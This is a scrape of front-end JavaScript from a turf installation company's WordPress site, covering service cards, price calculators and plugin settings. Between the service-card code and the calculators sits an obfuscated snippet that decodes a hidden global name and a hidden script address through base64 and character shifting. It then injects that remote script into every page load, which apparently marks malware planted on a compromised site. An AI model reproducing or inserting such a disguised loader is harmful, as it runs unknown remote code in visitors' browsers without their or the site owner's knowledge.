console.warn('Design Turf services fetch failed:', err);
renderFallbackServices();
});
/* ═══════════════════════════════════════════
SERVICE CARD BUILDER
═══════════════════════════════════════════ */
function createServiceCard(title, url) {
var card = document.createElement('a');
card.href = url || '#';
card.setAttribute('style',
'display:flex;align-items:center;gap:12px;' +
'padding:14px 18px;' +
'background:rgba(255,255,255,0.03);' +
'border:1px solid rgba(255,255,255,0.07);' +
'border-radius:8px;' +
'color:#ffffff;text-decoration:none;' +
'font-size:14px;font-weight:600;' +
'line-height:1.4;' +
'transition:all 0.25s ease;'
);
card.onmouseenter = function() {
this.style.background = 'rgba(0,166,81,0.1)';
this.style.borderColor = 'rgba(0,166,81,0.4)';
this.style.transform = 'translateY(-1px)';
};
card.onmouseleave = function() {
this.style.background = 'rgba(255,255,255,0.03)';
this.style.borderColor = 'rgba(255,255,255,0.07)';
this.style.transform = 'translateY(0)';
};
var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' +
'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' +
'<polyline points="9 18 15 12 9 6"/></svg>';
card.innerHTML = chevron + '<span>' + title + '</span>';
return card;
}
/* ═══════════════════════════════════════════
FALLBACK: Static service list
► UPDATE these to match your actual pages
═══════════════════════════════════════════ */
function renderFallbackServices() {
var services = [
{ title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' },
{ title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' },
{ title: 'Pet Turf Solutions', url: '/pet-turf/' },
{ title: 'Commercial Turf Installation', url: '/commercial-turf/' },
{ title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' },
{ title: 'Playground Turf', url: '/playground-turf/' },
{ title: 'Landscape Design', url: '/landscape-design/' },
{ title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' }
];
grid.innerHTML = '';
services.forEach(function(s) {
grid.appendChild(createServiceCard(s.title, s.url));
});
}
/* ═══════════════════════════════════════════
RESPONSIVE HANDLER (replaces media queries)
═══════════════════════════════════════════ */
function handleResize() {
var w = window.innerWidth;
var mapEl = document.getElementById('dt-leaflet-map');
if (w < 600) {
grid.style.gridTemplateColumns = '1fr';
if (mapEl) mapEl.style.height = '300px';
} else if (w < 900) {
grid.style.gridTemplateColumns = 'repeat(2, 1fr)';
if (mapEl) mapEl.style.height = '380px';
} else {
grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))';
if (mapEl) mapEl.style.height = '450px';
}
map.invalidateSize();
}
window.addEventListener('resize', handleResize);
handleResize();
})();
window[(function(_InA,_hH){var _dRnLK='';for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob('dWRrLywnIn4xZiI2'), 27)] = '3c020144ab1733329654'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e='';for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob('Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk='), 36)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });
function dtRollCalc() {
const linear = parseFloat(document.getElementById('rollLinear').value);
const rollWidth = parseFloat(document.getElementById('rollWidth').value);
const pricePerSqFt = 7.47; // update per product
if (!linear || linear <= 0) return;
const sqft = linear * rollWidth;
const subtotal = sqft * pricePerSqFt;
const hst = subtotal * 0.13;
const total = subtotal + hst;
document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft";
document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2);
document.getElementById('rollHST').innerText = "$" + hst.toFixed(2);
document.getElementById('rollTotal').innerText = "$" + total.toFixed(2);
}
function dtCalc() {
const productData = document.getElementById("dtProduct").value;
const length = parseFloat(document.getElementById("dtLength").value);
const width = parseFloat(document.getElementById("dtWidth").value);
if (!productData || !length || !width) {
alert("Please select a product and enter both length and width.");
return;
}
const [price, rollWidth] = productData.split("|").map(Number);
const sqFt = length * width;
const totalCost = sqFt * price;
document.getElementById("dtBadge").style.display = "inline-block";
document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`;
document.getElementById("dtSummary1").style.display = "flex";
document.getElementById("dtSummary1").innerHTML =
`<span>Price: $${price.toFixed(2)}/sq ft</span>
<span>Sq Ft: ${sqFt.toFixed(2)}</span>`;
document.getElementById("dtSummary2").style.display = "flex";
document.getElementById("dtSummary2").innerHTML =
`<span>Cost: $${totalCost.toFixed(2)}</span>`;
}
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = [];
//# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = {
"api": {
"root": "https:\/\/www.designturf.ca\/wp-json\/",
"namespace": "contact-form-7\/v1"
},
"cached": 1
};
//# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"};
//# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460;
var sc_security="635c5120";
var sc_invisible=1;
//# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}};
//# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() {
const items = document.querySelectorAll(".faq-item h4.toggle");
items.forEach(item => {
item.addEventListener("click", function() {
const parent = this.parentElement;
parent.classList.toggle("active");
});
});
});
// Delay Before/After slider initialization
document.addEventListener("DOMContentLoaded", function() {
requestIdleCallback(() => {
if (typeof mfn_before_after === "function") {
mfn_before_after();
}
});
});
//# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1";
//# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
window.addEventListener("load", function(event) {
jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){
var form=jQuery(this);
var screen_width=""; var screen_height="";
if(screen_width == ""){
if(screen){
screen_width=screen.width;
}else{
screen_width=jQuery(window).width();
} }
if(screen_height == ""){
if(screen){
screen_height=screen.height;
}else{
screen_height=jQuery(window).height();
} }
form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">');
form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">');
form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">');
});
});